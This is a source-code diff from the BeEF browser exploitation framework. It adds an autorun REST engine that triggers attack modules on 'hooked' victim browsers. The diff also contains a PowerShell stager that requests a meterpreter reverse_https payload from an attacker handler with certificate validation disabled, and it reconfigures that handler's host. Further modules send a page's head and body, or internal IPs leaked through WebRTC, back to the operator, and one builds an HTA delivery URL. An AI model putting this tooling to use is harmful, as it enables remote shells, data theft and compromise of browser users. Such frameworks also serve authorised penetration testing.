BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
|
||||
#
|
||||
# Check the source IP is within the permitted subnet
|
||||
|
||||
66
core/main/rest/handlers/autorun_engine.rb
Normal file
66
core/main/rest/handlers/autorun_engine.rb
Normal file
@@ -0,0 +1,66 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class AutorunEngine < BeEF::Core::Router::Router
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# Add a new ruleset. Returne the rule_id if request was successful
|
||||
post '/rule/add' do
|
||||
request.body.rewind
|
||||
begin
|
||||
data = JSON.parse request.body.read
|
||||
rloader = BeEF::Core::AutorunEngine::RuleLoader.instance
|
||||
rloader.load(data)
|
||||
rescue => e
|
||||
err = 'Malformed JSON ruleset.'
|
||||
print_error "[ARE] Ruleset ERROR. #{e.message}"
|
||||
{ 'success' => false, 'error' => err }.to_json
|
||||
end
|
||||
end
|
||||
|
||||
# Trigger a specified rule_id on online hooked browsers. Offline hooked browsers are ignored
|
||||
post '/rule/trigger/:rule_id' do
|
||||
begin
|
||||
rule_id = params[:rule_id]
|
||||
|
||||
online_hooks = BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15))
|
||||
are = BeEF::Core::AutorunEngine::Engine.instance
|
||||
|
||||
if online_hooks != nil
|
||||
online_hooks.each do |hb|
|
||||
hb_details = BeEF::Core::Models::BrowserDetails
|
||||
browser_name = hb_details.get(hb.session, 'BrowserName')
|
||||
browser_version = hb_details.get(hb.session, 'BrowserVersion')
|
||||
os_name = hb_details.get(hb.session, 'OsName')
|
||||
os_version = hb_details.get(hb.session, 'OsVersion')
|
||||
|
||||
match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id)
|
||||
are.trigger(match_rules, hb.id) if match_rules.length > 0
|
||||
end
|
||||
else
|
||||
{ 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json
|
||||
end
|
||||
rescue => e
|
||||
err = 'Malformed JSON ruleset.'
|
||||
print_error "[ARE] Something went wrong #{e.message}"
|
||||
{ 'success' => false, 'error' => err }.to_json
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -127,7 +127,7 @@ module BeEF
|
||||
@http_server.start # starts the web server
|
||||
rescue RuntimeError => e
|
||||
if e.message =~ /no acceptor/ # the port is in use
|
||||
print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}."
|
||||
print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF on an invalid IP."
|
||||
print_error "Is BeEF already running? Exiting..."
|
||||
exit 127
|
||||
else
|
||||
|
||||
@@ -17,5 +17,5 @@ beef:
|
||||
Beef: "Beef"
|
||||
evercookie: "evercookie"
|
||||
BeEF: "BeEF"
|
||||
chain: ["scramble", "base_64"]
|
||||
chain: ["scramble", "minify"]
|
||||
# other available obfuscation techniques: ["minify", "base_64", "whitespace"]
|
||||
@@ -48,6 +48,6 @@ beef:
|
||||
cid10: "bottom-border.png"
|
||||
powershell:
|
||||
# the default payload being used is windows/meterpreter/reverse_https
|
||||
msf_reverse_handler_host: "127.0.0.1"
|
||||
msf_reverse_handler_host: "172.16.45.1"
|
||||
msf_reverse_handler_port: "443"
|
||||
powershell_handler_url: "/ps"
|
||||
@@ -400,12 +400,38 @@ function Invoke-ps
|
||||
{
|
||||
$SSL = 's'
|
||||
# Accept invalid certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
}
|
||||
}
|
||||
|
||||
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
||||
# Meterpreter to initiate stage 0.
|
||||
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
|
||||
$x = ""
|
||||
function sum($v){
|
||||
return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)
|
||||
}
|
||||
|
||||
function RandomChars{
|
||||
$f = "";1..3 | foreach-object {$f+= $chars[(Get-Random -maximum $chars.Length)]};
|
||||
return $f;
|
||||
}
|
||||
|
||||
function RandomArray { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
|
||||
|
||||
function Generate{
|
||||
for ($i=0; $i -lt 64; $i++){
|
||||
$h = RandomChars;$k = $d | RandomArray;
|
||||
foreach ($l in $k){
|
||||
$s = $h + $l; if (sum($s)){
|
||||
return $s}
|
||||
}
|
||||
return "9vXU";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
$GeneratedURI = Generate;
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/$GeneratedURI"
|
||||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||||
|
||||
$Uri = New-Object Uri($Request)
|
||||
|
||||
@@ -5,7 +5,6 @@
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
alert("<%== format_multiline(@text) %>");
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>");
|
||||
alert("<%= @text %>");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>");
|
||||
});
|
||||
|
||||
@@ -5,8 +5,10 @@
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+beef.browser.getPageHead()+'&body='+beef.browser.getPageBody());
|
||||
|
||||
var head = beef.browser.getPageHead();
|
||||
var body = beef.browser.getPageBody();
|
||||
var mod_data = 'head=' + head + '&body=' + body;
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success());
|
||||
return [beef.are.status_success(), mod_data];
|
||||
});
|
||||
|
||||
|
||||
@@ -9,7 +9,8 @@ beef.execute(function() {
|
||||
var str = '';
|
||||
for (var i=32; i<=127;i++) str += String.fromCharCode(i);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, str);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
|
||||
//return [beef.are.status_success(), str];
|
||||
test_return_ascii_chars_mod_output = [beef.are.status_success(), str];
|
||||
});
|
||||
|
||||
|
||||
@@ -13,7 +13,8 @@ beef.execute(function() {
|
||||
for (var i = 0; i < iterations; i++) {
|
||||
str += repeat_value;
|
||||
}
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, str);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
|
||||
//return [beef.are.status_success(), str];
|
||||
test_return_long_string_mod_output = [beef.are.status_unknown(), str];
|
||||
});
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@ beef.execute(function() {
|
||||
|
||||
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
|
||||
|
||||
if (RTCPeerConnection) (function () {
|
||||
if (RTCPeerConnection){
|
||||
|
||||
var addrs = Object.create(null);
|
||||
addrs["0.0.0.0"] = false;
|
||||
@@ -24,6 +24,7 @@ beef.execute(function() {
|
||||
if (evt.candidate){
|
||||
beef.debug("a="+evt.candidate.candidate);
|
||||
grepSDP("a="+evt.candidate.candidate);
|
||||
retResults();
|
||||
}
|
||||
};
|
||||
|
||||
@@ -31,20 +32,29 @@ beef.execute(function() {
|
||||
rtc.createOffer(function (offerDesc) {
|
||||
grepSDP(offerDesc.sdp);
|
||||
rtc.setLocalDescription(offerDesc);
|
||||
retResults();
|
||||
}, function (e) {
|
||||
beef.debug("SDP Offer Failed");
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed");
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
|
||||
});
|
||||
|
||||
function retResults(){
|
||||
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
|
||||
|
||||
// This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way
|
||||
get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
|
||||
}
|
||||
|
||||
// Return results
|
||||
function processIPs(newAddr) {
|
||||
if (newAddr in addrs) return;
|
||||
else addrs[newAddr] = true;
|
||||
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
|
||||
beef.debug("Found IPs: "+ displayAddrs.join(","));
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","));
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success());
|
||||
}
|
||||
|
||||
|
||||
// Retrieve IP addresses from SDP
|
||||
function grepSDP(sdp) {
|
||||
var hosts = [];
|
||||
@@ -61,8 +71,7 @@ beef.execute(function() {
|
||||
}
|
||||
});
|
||||
}
|
||||
})(); else {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection");
|
||||
}else {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error());
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
@@ -29,7 +29,8 @@ beef.execute(function() {
|
||||
});
|
||||
$j(hid).css('cursor','pointer');
|
||||
$j(hid).slideDown(300,function() {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success());
|
||||
});
|
||||
return [beef.are.status_success(), 'Notification has been displayed'];
|
||||
|
||||
});
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
This is a temp directory where the Firefox extension will be built.
|
||||
@@ -4,9 +4,9 @@
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function () {
|
||||
beef.execute(function(){
|
||||
|
||||
var hta_url = '<%= @ps_url %>' + '/hta';
|
||||
var hta_url = '<%= @domain %>' + '<%= @ps_url %>' + '/hta';
|
||||
|
||||
if (beef.browser.isIE()) {
|
||||
// application='yes' is IE-only and needed to load the HTA into an IFrame.
|
||||
|
||||
@@ -15,7 +15,7 @@ require 'selenium/webdriver'
|
||||
require './check_environment' # Basic log in and log out tests
|
||||
require './tc_debug_modules' # RESTful API tests (as well as debug modules)
|
||||
require './tc_login' # Basic log in and log out tests
|
||||
require './tc_jools' # Basic tests for jools
|
||||
#require './tc_jools' # Basic tests for jools
|
||||
#require './tc_dns_rest' # Basic tests for DNS RESTful API interface
|
||||
require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface
|
||||
|
||||
@@ -26,7 +26,7 @@ class TS_BeefIntegrationTests
|
||||
suite << TC_CheckEnvironment.suite
|
||||
suite << TC_login.suite
|
||||
suite << TC_DebugModules.suite
|
||||
suite << TC_Jools.suite
|
||||
#suite << TC_Jools.suite
|
||||
#suite << TC_DnsRest.suite
|
||||
suite << TC_SocialEngineeringRest.suite
|
||||
|
||||
|
||||
Reference in New Issue
Block a user